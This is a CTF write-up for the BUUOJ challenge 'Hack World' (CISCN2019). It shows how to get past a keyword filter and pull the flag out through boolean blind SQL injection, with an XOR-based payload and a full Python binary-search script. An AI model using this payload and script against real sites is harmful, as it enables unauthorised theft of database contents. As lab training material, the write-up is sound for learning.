BUUOJ | [CISCN2019 華北賽區 Day2 Web1]Hack World(SQL布林盲注)
阿新 • • 發佈:2020-07-21
用瀏覽器連線靶機,看到以下頁面
右鍵檢視原始碼,發現上傳用的是 post 請求,根據提示知道 flag 位於 flag 表中的 flag 欄位裡
搜尋框輸入 1 或 2 會返回結果,其餘返回 bool(false)
嘗試注入 1 union select group_concat(flag) from flag.flag
返回 SQL Injection Checked.
是因為後端過濾了 union、and、or、空格等,包括 /**/
輸入1/1時會正常返回結果,可以判斷這是數字型的sql注入,考慮布林盲注
思路比較簡單,用 select 在資料庫中提取 flag 各位字母,用二分法(比直接列舉快一點)逐位爆破
sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)
如果最外層括號(是否大於的判斷表示式)值為 True,與 0 異或中仍為 True,反之為 False
import requests url = 'http://14948c07-2813-4b23-b374-a72b794b079f.node3.buuoj.cn/index.php' flag = '' def check(payload): # print (payload) upload = { 'id' : payload } text = requests.post(url, data = upload).text if ('Hello') in text: return True return False for i in range(1,50): l = 0; r = 255; now = 0 while (l<=r): mid = (l + r) >> 1 sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid) if (check(sql)): l = mid + 1 else: r = mid - 1 flag += chr(l) print (flag)